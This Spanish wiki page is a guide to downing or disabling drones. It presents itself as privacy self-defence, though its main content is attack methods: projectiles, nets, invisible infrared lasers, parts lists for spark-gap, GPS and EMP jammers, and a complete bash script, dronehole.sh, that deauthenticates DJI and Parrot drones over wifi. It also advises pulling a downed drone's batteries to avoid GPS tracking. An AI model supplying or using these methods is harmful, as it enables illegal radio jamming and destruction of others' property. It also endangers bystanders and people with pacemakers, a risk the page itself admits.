Cómo y porqué defenderse de los vehículos aéreos no tripulados

De Documentación colaborativa de Flone
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Cómo y porqué defenderse de los vehículos aéreos no tripulados[editar]

Warning-drone.png

El espacio aéreo es aire público, todas tenemos derecho a volar, pero también derecho a protegernos. Ser sobrevolado por una aeronave puede convertirse en un acto muy intimidatorio si no conocemos al piloto ni la naturaleza del vuelo. Podemos desconocer si la aeronave está en condiciones de volar con seguridad ni tampoco conocer que tipo de cámara carga o el destino final de las imágenes que está registrando. El vuelo puede sentirse especialmente violento si ostentosamente sobrevuela una propiedad privada a baja altura violando el derecho a la intimidad y privacidad de los moradores.

Los drones son una herramienta de poder y control para gobiernos, fuerzas de seguridad y organizaciones privadas, pero ahora también al alcance de casi cualquier individuo. Son una oportunidad que no están dejando pasar para controlar y supervisar a personas y colectivos. La policía de todo el mundo esta utilizando drones para recavar pruebas sin ninguna autorización judicial. Han encontrado la forma perfecta de evitar solicitar una autorización judicial para entrar en propiedades privadas, de manera que en lugar de entrar con el cuerpo físico, que si requiere de autorización, penetran en la propiedad con los sensores para recavar pruebas, ya sean cámaras estándar, térmicas, olfatos artificiales, etc.

Al contrario de lo que se pueda pensar, esto no es un manifiesto anti-drones. Los drones pueden ser muy útiles para la sociedad si se les da un uso responsable. Pensamos que una sociedad más segura es aquella que tenga los medios legítimos para defenderse de cualquier amenaza que pueda llegar. Si no controlas a los drones, ellos te controlarán a ti. La evolución indiscriminada que están teniendo muchas veces no está asociada a usos legítimos, ni tampoco con las contramedidas adecuadas ante estos usos ilegítimos. Esta ha sido nuestra principal motivación para escribir este manifiesto.

Seguridad[editar]

Tumbar drones puede ser peligroso, sobretodo para las personas que hay debajo. A veces debemos aceptar que nuestra privacidad sea violada antes que causar heridas graves a las personas alrededor. En caso de que quieras poner en práctica alguna de las técnicas expuestas en esta guía evalua antes los riesgos de la acción y determina el mejor momento para llevarla a cabo. Estudia la fuerza y dirección del viento y evalua la zona donde caerá antes de cualquier intento de interceptar la aeronave.

Legalidad[editar]

Casi con toda seguridad que no existe ninguna jurisprudencia al respecto en ningún país sobre el derecho de autodefensa en el espacio aéreo. Si bien se pueden aplicar algunas similitudes legales sobre los conceptos de autodefensa y privacidad, son muchas las variables que intervienen, como determinar donde se encontraba el drone en el momento de la intervención, si el espacio aéreo sobre una propiedad es considerado también privado y la técnica que se utilizó para derribarlo. En caso de que no se pueda demostrar una intervención ilícita, la legislación actual contempla al piloto como máximo responsable de la aeronave y los daños que pueda causar. Los autores de esta guía, renunciamos integramente a cualquier responsabilidad legal por los comportamientos derivados de su puesta en práctica.

Violencia[editar]

La violencia nunca podrá resolver ni uno solo de los conflictos de este mundo. Usarla contra la policía o pilotos civiles de drones no va a hacer que estos dejen de fabricarse ni dejen de ser utilizados para someter a otras personas. Pero no podremos hacer reconocer nuestros derechos más que entrando en lucha con quienes los atacan y los violan. La función de la lucha es crear condiciones de diálogo, estableciendo una nueva relación de fuerzas que obliguen a reconocernos como interlocutores. Es precisamente porque el diálogo no es posible muchas veces, por lo que es necesaria la lucha. La lucha es una fuerza que hace que el derecho sea respetado y no debe confundirse con la violencia. Preguntarnos de quién hemos de defendernos y qué es lo que hemos de defender nos ayudará a deshacer mitos en torno a la violencia, a reconocer su peligro y comprender cómo hemos de defendernos.

Métodos de desactivación[editar]

A pesar de su inmenso poder, existen diferentes estrategias que podemos utilizar para derribarlos o inhibirlos. En la acualidad existe una gran diversidad de drones, desde pequeños helicópteros de juguete con cámara a aviones solares con 5 años de autonomía de vuelo. Las técnicas de desactivación pueden ser muy diversas y dependerán del tipo y altura del drone del cual queramos protegernos. Este manifiesto recoge una diversidad de métodos orientados a la protección contra una variedad de multirotores comerciales y autofabricados para áreas no necesariamente urbanas, persiguiendo minimizar los riesgos de su puesta en práctica.


Métodos psicológicos[editar]

El método más evidente, seguro y adecuado de controlar un drone es encontrar al piloto.

Generalmente se encuentran cerca, en el rango de visión de la aeronave, en torno a 300 metros a la redonda. Si el piloto cuenta con un sistema de comunicaciones más avanzado este rango puede incrementarse en varios kilómetros.

Si lo encuentras, se consciente que se encontrará en una situación muy vulnerable, con las dos manos sobre el mando de radio control, y con poca capacidad de comunicación debido a la atención necesaria para pilotar la aeronave.

Si quieres saber el porqué del vuelo, recavar otros detalles, o mostrarle tu malestar por sobrevolar encima de ti o tus seres queridos lo correcto para no poner en peligro a otras personas sería primero pedirle amablemente que aterrice la aeronave antes de comenzar la discusión.

Puedes intimidarle con una argumentación legal o moral para que desista de realizar el vuelo, mejor si conoces la legislación vigente en tu país. Para el Estado Español, está en el BOE y en la web de la AESA, no hagas caso de periodicos o revistas sensacionalistas, pues muchas veces contienen información poco regurosa.


Métodos balísticos[editar]

Son los métodos donde lanzamos algo contra el drone. No recomendamos lanzar piedras a un drone a no ser que te encuentres en el campo y sepas que no le vas a hacer daño a nadie, piensa que las piedras tienen un recorrido y después caerán en algún lado.

Ropa[editar]

Si el drone se encuentra a baja altura, lo más fácil es tirarle tu camiseta, se enredará en las hélices y caerá.

Red[editar]

Detalle de arma de lanzamiento de redes casera
Arma de lanzamiento de redes comercial

Los drones se pueden cazar con redes cuando vuelan a baja altura, existen varias formas para lanzarlas, si lo haces manualmente debes adquirir la suficiente práctica para hacerlo. También puedes fabricar un lanzador de redes DIY por poco dinero, o si buscas una solución más sofisticada, recientemente están proliferando en ebay diferentes armas llamadas net gun, tienen el aspecto de una linterna, pero gracias a un cartucho de CO2 son capaces de lanzar una red a más de 20 metros de distancia. Estas armas son utilizadas para cazar animales sin dañarlos, pero su uso contra drones se puede generalizar.

Boomerang[editar]

Boomerang deportivo para vuelo en espiral

Los boomerangs son muy útiles para proteger el espacio aéreo, nos referimos a los boomerangs deportivos que pueden llegar a volar haciendo una espiral en el espacio hasta caer en tu mano. Puedes lanzar más de 3 simultáneamente y proteger todo el espacio, ningún piloto de drones querrá acercarse a un lugar lleno de boomerangs revoloteando. Con la suficiente práctica, hasta podrás derribar uno con precisión.

Proyectiles[editar]

Hay diferentes proyectiles eficientes con los que combatir un drone, los pesos de plomo con varios hilos de pescar de varios metros de largo son óptimos, ya que es muy probable que el aire aspire los hilos de pescar hacia el drone y los motores se queden trabados.

Otros proyectiles pueden ser imanes de disco duro viejo u otros motores, ya que se pegarán a las partes metálicas de un drone. Este método se puede combinar con el anterior y aumentar las probabilidades de éxito. Ha aparecido en el mercado un tipo de munición ferromagnética comercial en forma de cartuchos de escopeta especiales contra drones.

Tirachinas[editar]

Los tirachinas

Los tirachinas pueden ser efectivos pero tienen la contrapartida de que podrian ser peligrosos si hay personas del otro lado. También es dificil acertar en un drone y que el impacto le pueda afectar, lo ideal es utilizar alguno de los proyectiles indicados anteriormente. Una curiosidad es que la energía que se acumula en la goma del tirachinas se disipa rápidamente al perderse el calor, por esta razón es más eficiente estirar la goma y lanzar rápidamente, lo que produce un tiro más potente.

Métodos mecánicos[editar]

Són los métodos donde interferimos con el drone sin necesidad de un lanzamiento.

Drone-Anti-Drone[editar]

Ejemplo de drone de juguete al que se le puede añadir un hilo de pesca

Un pequeño drone de juguete es suficiente para derribar al multicoptero más avanzado, pero es necesario que previamente sepas como pilotar multicópteros. Basta con atar un hilo de pescar bastante largo al drone de juguete y volar cerca del drone a derribar. Éste se enredará con el hilo y caerá. Probablemente tu también perderás tu juguete.

Cometas[editar]

Las cometas son fáciles de fabricar y pueden ser muy útiles

Las cometas también pueden ser muy eficientes defendiendo el espacio aéreo, sobretodo si son multiples y están dispersadas por el espacio. Si quieres proteger el espacio aéreo debes hacerlas suficientemente visibles para que el piloto se percate de su presencia, si por el contrario tu objetivo es derribar al drone debes estudiar la posición del drone y la dirección del viento y hacerlas pequeñas para que pasen desapercibidas.

Métodos electromagnéticos[editar]

Son los métodos que alteran los campos electromagnéticos, dañando o modificando el funcionamiento normal de los componentes electromagnéticos.

Lásers[editar]

Visión de un drone siendo atacado por un laser

Los lásers pueden ser usados para cegar temporalmente o dañar las cámaras CCD y otros sensores de los drones.

Los mejores lásers para interferir cámaras son los infrarojos a partir de 500 miliwatios, cuanta más potencia más probable será que cause daños en el sensor de la cámara, sin embargo esta técnica puede ser peligrosa en caso de que hayan personas tras el haz láser, como en edificios cercanos.

Los láseres infrarojos tienen varias ventajas con respecto a otros en el espectro visible.

1. Son más fuertes para la misma potencia, pueden llegar más lejos que su equivalente en espectro visible.
2. No se pueden ver.  Esto es útil para que nadie a tu alrededor pueda saber quien está cegando el drone.

Como tu tampoco puedes ver el láser, para saber donde estás apuntando necesitarás un teléfono móvil o una cámara que pueda ver el haz infrarojo del láser.

dronehole.sh: Ataque de desautentificación[editar]

Dispositivo anti-drones wifi

Pueden atacar a los drones que utilizan las redes wifi convencionales a través de los bugs de esas redes. Si deseas un aparato que integre uno de estos ataques puedes adquirir el Cyborg Unplug que tiene como objetivo drones y cámaras de vigilancia espias.

Puedes también realizar un ataque por ti mismo con un computador y una tarjeta wifi potente. Este ataque está basado en el código glasshole.sh de Julian Oliver. Dronehole.sh es un ataque de desautentificación que escanea todos los dipositivos wifi alrededor buscando aquellos que tengan una dirección hardware MAC de algún fabricante de drones como DJI o Parrot. Esté código solo funciona con drones DJI y Parrot, concretamente los modelos Phantom, Aspire, ARDrone y Beboop. En el caso de DJI Phantom y Aspire, sólo interrumpirá la transmisión del video, impidiendo al piloto realizar vuelos basados en la visión como FPV, el piloto seguirá teniendo el control pero no podrá ver nada. En el caso de los drones Parrot, donde todo el control del drone se realiza via wifi, el piloto perderá el control total sobre el drone y éste aterrizará automáticamente.

#!/bin/bash
#
# DRONEHOLE.SH
#
# Find and kick drones from your local wireless network.  Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host.  Put on PC, BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it.
# Save as dronehole.sh, 'chmod +x dronehole.sh' and exec as follows:
#
#   sudo ./dronehole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
# 
shopt -s nocasematch # Set shell to ignore case
shopt -s extglob # For non-interactive shell.
NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
# MAC=$(ip link show "$NIC" | awk '/ether/ {print $2}') # If 'ifconfig' not present.
GGMAC='@(60:60:1F*|00:12:1C*|00:26:7E*|90:03:B7*)' # Match against DJI & Parrot drones
POLL=30 # Check every 30 seconds
airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
while true;
   do  
       for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
       '(xdigit:{1,2}:){5}xdigit:{1,2}')
          do
              if  $TARGET == $GGMAC 
                  then
                      # Audio alert
                      beep -f 1000 -l 500 -n 200 -r 2
                      echo "Dronehole discovered: "$TARGET
                      echo "De-authing..."
                      aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 
                   else
                       echo $TARGET": is not a drone. Leaving alone.."
              fi
          done
          echo "None found this round."
          sleep $POLL
done
airmon-ng stop mon0

Jamming[editar]

La intervención ilícita del espectro electromagnético está prohibida en muchos paises, incluso si tienes un drone de un voyeur grabando a tus hijas en la piscina, derribarlo con éste método podria ser considerado ilegal. En muchos paises la mera posesión de estos aparatos también es ilegal.

Normalmente los drones funcionan en las siguientes frecuencias.

433 Mhz Telemetria (Europa)
900 Mhz Telemetria (EEUU)
2.4 Ghz Control
1.2 Ghz Video analógico (FPV)
5.8 Ghz Vídeo analógico (FPV)
Infrarojos[editar]
TV-B Gone, un excelente IR Jammer DIY

Paradójicamente, existen helicópteros y quadcopters baratos con cámara disponibles en las jugueterias que al ser controlados por infrarojos resistirian a la más avanzada interferencia militar por radiofrecuencia. A pesar de que esta tecnología de comunicaciones está siendo desplazada por la radiofrecuencia en 2.4GHz todavía es utilizada y puede ser que recobre importancia en el futuro.

Estos helicópteros tienen poco alcance y requieren de visión directa por parte del piloto, por lo que generalemente si podemos ver el drone, el piloto se encontrará cerca con bastante probabilidad, si después de pedir amablemente al piloto que deje de molestarnos continúa con su actitud, podemos derribarlo fácilmente con un simple mando a distancia de televisión. El mando, al producir la misma luz infraroja que el controlador del drone, no podrá recibir ninguna otra orden y acabará por estrellarse contra el suelo.

Wave Bubble 2.4GHz y 3G[editar]
Wave Bubble, un jammer multibanda DIY

Además de poder comprar alguno de los diferentes jammers en las tiendas online chinas, también puedes fabricarlos tu misma. Existe un jammer open source llamado Wave Bubble que cabe en una caja de cigarrillos y puede interferir en varias bandas simultáneamente. Su venta está prohibida, el único método de obtenerlo es fabricarlo tu misma.

Spark gap transmitter[editar]

Otro método más analógico (y fácil) de hacer radio Jamming es utilizar un [transmisor a chispa] como el que Marconi inventó en 1878, el Titanic tenía uno de esos que podía transmitir a 1600 km de distancia, imagina la de drones que puedes derribar con él.

El emisor que describimos es similar a los utilizados en 1896 por Popoff y Marconi, la antena es el único elemento que establece la frecuencia de funcionamiento. En el siguiente esquema reproducimos este jammer para 75 MHz, al resonar a 1/4 de la longitud de onda, representará:

Frecuencia = Velocidad / longitud onda 300.000.000 / (1*4) = 75 .000.000 = 75 Mhz.

Para construirlo necesitarás:

* Un motor de encendido de moto o coche.
* 2 pilas de 9 v. en serie,
* Un interruptor,
* Un relé, 
* 3 condensadores: uno de 100 microfaradios de filtro de alimentación, uno de 220 microfaradios en paralelo con el relé y uno de 100.000 Kpf. en paralelo al primario de la bobina de alta.
Jammer de pulso electromagnético[editar]

Los generadores EMP provocan que ningún dispositivo electrónico a la redonda pueda funcionar. Es peligroso activar este jammer cerca de personas con marcapasos puesto que estos también se detendrán.

Puedes fabricar uno a partir de un ionizador de aire de coche de 5 dólares, con el flash de una cámara vieja o desechable.

Ocupando el canal de vídeo[editar]

Los drones que se vuelan fuera del alcance de visión del piloto suelen controlarse por First Person View (FPV). Transmiten la señal desde la cámara al piloto para que este pueda orientarse y controlar la aeronave. Normalmente esta imagen se transmite a través de una señal analógica en en alguno de los 12 canales civiles de la banda de 5.8 GHz o 1.2 GHz.

Si quieres interrumpir esta señal de vídeo basta con que la ocupes tu también con otro emisor de vídeo. A no ser que tengas un analizador del espectro electromagnético no tendrás forma de saber en que banda y canal está emitiendo el vídeo. Si tienes un receptor de vídeo si puedes ir saltando de canal en canal hasta que encuentres una imagen que se asemeje a un paisaje aéreo, es la señal de que has encontrado el canal. Si no tienes este receptor y tienes el drone a la vista, puedes ir probando a ocupar canal a canal hasta que veas que se produce algun movimiento en el drone, normalmente el piloto perderá la visión y se quedará parado, es la señal de que tienes al piloto ciego, y a no ser que tenga GPS, no podrá volver a casa.

GPS Jamming[editar]
Jammer GPS para coche

Interferir la señal de GPS es ilegal y puede tener un efecto variable a cada drone, dependiendo del modelo, configuración, y el modo de vuelo. La habilidad del piloto también es determinante para que consiga aterrizarlo con seguridad.

Por ejemplo si el drone tiene una misión de reconocimiento de un territorio, éste no podrá continuar con su recorrido por que necesita una señal de GPS para seguir con su vuelo pre-establecido, tampoco podrá volver al punto de partida por que no sabe donde se encuentra. Si el piloto se percata del incidente intentará recuperarlo en modo manual. Si después de varios minutos el drone no consigue recuperar la señal GPS este descenderá progresivamente hasta el suelo.

Cuando se pierde la señal GPS, el piloto deberá ser capaz de volar sin señal GPS, cosa que no siempre es así.

Además de poder fabricar un inhibidor GPS, también puedes encontrarlos en ebay.

Después de derribarlos[editar]

Después de derribar un drone, lo más importante es desconectar la bateria para que no pueda producirse ninguna explosión por algun cortocircuito debido al impacto recibido. Tampoco querrás que el piloto pueda saber por el GPS a donde te lo estás llevando, asi que asegurate de desconectar todas las baterias, en ocasiones tienen más de una.

Existen baterias de diferentes colores, pero todas tienen la misma forma, puedes identificarlas fácilmente y también su conector que tendrás que desconectar.

Referencias externas[editar]

[How to kill an UAV] [How to down a drone] [How to build a radio drone jammer ] [Emisor a chispas] [Transmisor a chispas del titanic ] [How to build a radiodrone jammer ]